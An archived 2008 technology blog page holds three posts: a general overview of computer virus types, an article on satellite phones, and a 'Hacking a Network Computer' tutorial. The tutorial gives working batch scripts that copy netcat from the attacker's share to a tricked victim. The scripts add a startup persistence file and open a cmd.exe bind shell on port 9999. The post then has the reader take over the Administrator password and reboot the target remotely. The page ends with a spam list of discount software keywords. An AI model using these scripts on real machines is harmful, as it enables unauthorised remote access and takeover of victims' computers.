RagnaRoll » Technology

Nov

How does a Computer Virus Work?

Posted by admin | Posted in Technology, Uncategorized | Posted on 14-11-2008

There are millions of viruses present these days, and new viruses originating every day. It is awfully tricky to provide you with a standard explanation of how viruses function, because they all have differences in the manner they infect or the method they spread. Hence, in this article, I have explained it bearing in mind few broad groups that are usually used to illustrate different types of viruses.

How does a Virus Work?

File Viruses or Parasitic Viruses

File viruses are pieces of code that attach themselves to executable files, driver files or compressed files, and they are triggered when the host program is executed. Once the file virus or parasitic virus is activated, it may spread by attaching to new programs in the system, and also perform out the wicked actions it was programmed for. A large number of file/parasitic viruses spread by loading themselves in the system memory, and they start searching for additional programs located on the drive. If it locates one, it transforms the program’s code so that it encloses the virus code. Then it activates the virus’s code next time it runs. It keeps doing this yet again until it crawls all over the system, and probably to additional systems that share the infected program.

Besides spreading themselves, these viruses also hold various types of destructive elements that can be activated instantly or by a specific ‘trigger’. The triggers could possibly be specific dates, or the number of times the virus has been replicated, or anything equally small.

Examples of file/parasitic viruses are Randex, Meve and MrKlunky.

Boot Sector Viruses

A boot sector virus infects the boot sector of a hard drive, which is a very critical component for the booting process. The boot sector is where all the information concerning the drive is stored, along with a program that makes it possible for the operating system to boot up. By introducing the virus code into the boot sector, the virus ensures that it loads into the system memory at each boot cycle.

A boot virus does not infect files; instead, it infects the drive on which they are saved. Possibly this is the reason for their collapse. In earlier days, when the programs were carried around in floppy disks, the virus used to spread like a wild fire. However, with the upcoming of CD drives and CD ROMs, it became impossible for the boot sector virus to infect pre-written information on a CD, which in due course stopped such viruses from spreading and infecting.

Although the boot sector viruses still survive in the computer world, they are very rare compared to the new era’s malicious software. An additional cause why boot sector viruses are not so common is that the new age operating systems guard the boot sector, which makes it hard for the virus to infect it.

Examples of boot sector viruses are Polyboot.B and AntiEXE.

Multipartite Viruses

Multipartite viruses are a mixture of boot sector viruses and file viruses. These viruses enter the system through infected media and dwell in the system memory. They then travel onto the boot sector of the hard drive. From there, the multipartite virus infects the executable files on the hard drive and spreads throughout the system.

There aren’t many multipartite viruses present these days, but in their era, they were responsible for a number of vital troubles due to their ability to combine different infection practices.

A significant example of a multipartite virus is Ywinz.

Macro Viruses

Macro viruses infect files that are formed using certain applications or programs that include macros. Such applications comprises of Microsoft Office documents such as Word documents, Excel spreadsheets, PowerPoint presentations, Access databases and other related application files such as Corel Draw, AmiPro, etc.

As macro viruses are programmed in the language of the application and not in that of the operating system, they are recognized to be platform-independent, i.e. they can spread across operating systems such as Windows, Macintosh or any other systems, as long as they are running the necessary application. With the ever rising abilities of macro languages in applications, and the risk of hazardous infection spreading over the networks, this macro virus has become a critical threat.

The earliest macro virus was programmed for Microsoft Word and was exposed back in August 1995. At present, there are thousands of macro viruses in existence.

Examples of macro viruses are Relax, Melissa.A and Bablas.

How does a Virus Work?

Network Viruses

A network virus is very much skilled in rapidly spreading across a Local Area Network (LAN) or even over the internet. Generally, it circulates through shared resources, such as shared drives and folders. When it infects a fresh system, it hunts for possible victims by scanning the network for other defenseless systems. When a defenseless system is found, the network virus infects the additional systems and thus spreads over the network.

Examples of some most dangerous viruses are Nimda and SQLStammer.

E-Mail Viruses

An e-mail virus can probably be a type of a macro virus that spreads itself to all the contacts located in the host’s e-mail address book. If any of the e-mail recipients open the attachment of the infected mail, it spreads to the new host’s address book contacts, and then proceeds to send itself to all those contacts as well. Nowadays, e-mail viruses can infect hosts even if the infected e-mail is previewed in a mail client. One of the most widespread and destructive e-mail viruses is the ILOVEYOU virus.

There are many methods by which a virus can infect or stay inactive on your computer. However, whether active or inactive, it’s dangerous to let one free on your system, and should be dealt with instantaneously.

(0) Comments

Nov

Hacking a Network Computer

Posted by admin | Posted in Technology | Posted on 14-11-2008

I wrote this because it really worked for me a few times and I hope it does for you too, all you need is very a gullible target.

As we all know, a Trojan is very likely to be picked up by AV, what you need is Netcat, netcat opens a port on a computer for access (If used correctly by a batch file you open a port on a target computer). You will need to write a
batch file. The
batch file to copy netcat on the remote computer will have to be run from
the target computer (The person on
the target will have to execute the
batch file in some way). Open Notepad and type this in:

Code:

@echo off

cd\
xcopy \\yourIP\shared folder\netcat.exe
copy \\yourIP\shared folder\netcat.exe (just to be sure)
cd “Documents and Settings”
cd “All Users”
cd “Start Menu”
cd Programs
cd Startup
xcopy \\yourIP\shared folder\Startup.bat (This is another 
batch file you will write)
cd\
netcat.exe -L -p 9999 -d -e cmd.exe

Save the file as a
batch file using Notepad.

The next
batch file will be used to make sure the port you specified opens up every time windows starts up, you can specify any port you wish. Open Notepad and type:

Code:

@echo off

cd\
netcat.exe -L -p 9999 -d -e cmd.exe

Save the file as a
batch file using Notepad, this will be the file that is copied into the startup folder in the previous
batch file we wrote. You can bind the
batch file to another file and share that file, let
the target execute that file so that he can copy netcat and the other
batch file onto his/hers computer thus opening port 9999, after port 9999 has been opened you can then use telnet and telnet to that port on the target computer to have full access without ever needing any passwords of any sort. After you are in change the
Administrator password for if something happens to your files, the command is this:

net user Administrator newpassword

Now from here you can do what you want, e.g try shutting down
the target computer by browsing to his system32 folder and then type in:

shutdown -r -t 10 -c “Hello”

the computer will then restart in 10 seconds time. You can even play around more by Installing Cain & Abel on your computer and then installing Abel remotely on his computer (Since you know the Administrator password) Once you have Abel on
the target you can start and stop services and do more!

Enjoy.

(0) Comments

Nov

Working of Satellite Phones

Posted by admin | Posted in Technology | Posted on 14-11-2008

A satellite phone is a mobile telephone which communicates using satellites instead of using cell towers. A satellite phone is a powerful tool to have in your belt when you’re out traveling and it is ideal for foreign correspondents, expeditioners, production crews, and anyone else who will need to maintain contact with the world whilst in a remote location. However, a satellite phone is about 10 times as expensive as a conventional cellular phone, and that doesn’t include connection rates of close to $2 a minute plus any long-distance charges.

The satellite phone is a briefcase-shaped device with its flap serving as an antennae. Unlike a mobile phone, a satellite phone is independent of land links and is hooked onto a network of satellites covering the globe.

A satellite phone is a special kind of mobile phone that is designed to permit voice and data transmission via satellite. If you work, live or travel in areas outside cellular coverage or in areas within adequate landline service, a satellite phone is for you.

The wireless satellite phone is enabled by GMSS (Geostationary Mobile Satellite Standard), the satellite technology derived from the GSM standard.

Journalists, people in the military, and politicians who travel the globe all know the advantages of having a satellite phone. With one of these devices you are able to communicate with anyone with a phone number from almost anywhere.

Although the satellite phone has made great strides in the past few years, the sat phone more closely resembles your portable home phone or one of those clunky cell phones from fifteen years ago.

Although you can call or receive calls in the middle of nowhere with a satellite phone, there are downsides. Most phones need a clear “line of sight” to the satellite. An errant cloud or two may not affect your phone transmission but a solar flare might. The phones can come with extension cords connecting the phone to the antenna, allowing the antenna to be outside and you to be inside, making the call.

Another downside of the satellite phone is the limitations of bandwidth. Some satellite phones use a narrow band, sending along your audio signal, but they cannot handle the high bandwidth information at near the speeds you find at home. This means that you can have internet access, but for these phones that access is slow.

Satellite phone technology is advancing every day, so look for newer and better options for the world traveler. Like cell phone companies, the satellite service provider often offers phones as well as the service in a neat little package. If you don’t intend to hook it up to a computer to send data and don’t need to talk for long, then there is no need for the latest word in satellite phones. Three major satellite phone networks are currently in operation: Iridium, Globalstar and Thuraya.

The use of low earth orbit satellites helps minimize round-trip-time, which greatly improves the perceived quality of the phone call. Satellite phone calls are routed directly from one handheld unit to another, or to a terrestrial network.

A satellite phone rental gives you an opportunity to go anywhere with the confidence of knowing there is a phone you can use, and spare yourself the embarrassment of begging to use the only phone for miles or trying to find a payphone in some remote location.

(0) Comments

M	T	W	T	F	S	S
« Mar
		1	2	3	4	5
6	7	8	9	10	11	12
13	14	15	16	17	18	19
20	21	22	23	24	25	26
27	28	29

RagnaRollFact File

Posted by admin | Posted in Technology, Uncategorized | Posted on 14-11-2008

File Viruses or Parasitic Viruses

Boot Sector Viruses

Multipartite Viruses

Macro Viruses

Network Viruses

E-Mail Viruses

Posted by admin | Posted in Technology | Posted on 14-11-2008

Posted by admin | Posted in Technology | Posted on 14-11-2008

cheap microsoft office 2007 home and student

ms office accounting

microsoft office 2007 offline training

ms office business

buy cheap software office professional plus 2010 32-bit

best prices on microsoft office

best prices on microsoft office

buy microsoft office 2003 professional sp3 online

ms office business

infopath office

microsoft office professional 2007 full version

Prices for microsoft office around the world prices for microsoft office professional 324.

Blogroll

Categories

Meta

Recent Posts

Link Exchange

ADVERTISEMENT